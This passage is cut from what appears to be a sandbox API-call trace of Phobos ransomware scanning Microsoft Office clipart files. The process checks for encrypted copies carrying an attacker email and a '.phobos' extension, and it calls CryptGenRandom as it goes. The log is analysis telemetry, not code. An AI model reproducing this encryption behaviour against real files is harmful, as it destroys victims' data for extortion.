office\\root\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.113] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=73214) returned 1 [0150.113] CloseHandle (hObject=0x564) returned 1 [0150.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 0x220 [0150.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.113] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.114] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=21914) returned 1 [0150.114] CloseHandle (hObject=0x564) returned 1 [0150.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 0x220 [0150.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.115] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.115] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=26086) returned 1 [0150.115] CloseHandle (hObject=0x564) returned 1 [0150.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 0x220 [0150.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.115] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.116] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=11694) returned 1 [0150.116] CloseHandle (hObject=0x564) returned 1 [0150.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 0x220 [0150.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.116] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.117] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=13874) returned 1 [0150.117] CloseHandle (hObject=0x564) returned 1 [0150.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 0x220 [0150.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.117] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.117] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=6929) returned 1 [0150.117] CloseHandle (hObject=0x564) returned 1 [0150.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 0x220 [0150.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.118] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.118] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.118] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.222] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8826) returned 1 [0150.222] CloseHandle (hObject=0x564) returned 1 [0150.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 0x220 [0150.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.223] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.223] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.223] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.223] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=9080) returned 1 [0150.223] CloseHandle (hObject=0x564) returned 1 [0150.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 0x220 [0150.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.224] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.224] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8076) returned 1 [0150.225] CloseHandle (hObject=0x564) returned 1 [0150.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 0x220 [0150.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.225] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.225] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.225] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.226] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=43892) returned 1 [0150.226] CloseHandle (hObject=0x564) returned 1 [0150.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 0x220 [0150.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.227] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.227] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.227] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.228] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=62367) returned 1 [0150.228] CloseHandle (hObject=0x564) returned 1 [0150.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 0x220 [0150.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.229] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.229] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.229] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=17964) returned 1 [0150.229] CloseHandle (hObject=0x564) returned 1 [0150.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 0x220 [0150.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.230] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.230] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=35546) returned 1 [0150.231] CloseHandle (hObject=0x564) returned 1 [0150.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 0x220 [0150.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.233] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.234] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=25265) returned 1 [0150.234] CloseHandle (hObject=0x564) returned 1 [0150.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 0x220 [0150.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.235] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.236] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=19923) returned 1 [0150.236] CloseHandle (hObject=0x564) returned 1 [0150.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 0x220 [0150.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.236] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.236] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=14337) returned 1 [0150.236] CloseHandle (hObject=0x564) returned 1 [0150.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 0x220 [0150.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.237] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.237] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=10898) returned 1 [0150.237] CloseHandle (hObject=0x564) returned 1 [0150.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 0x220 [0150.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.238] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 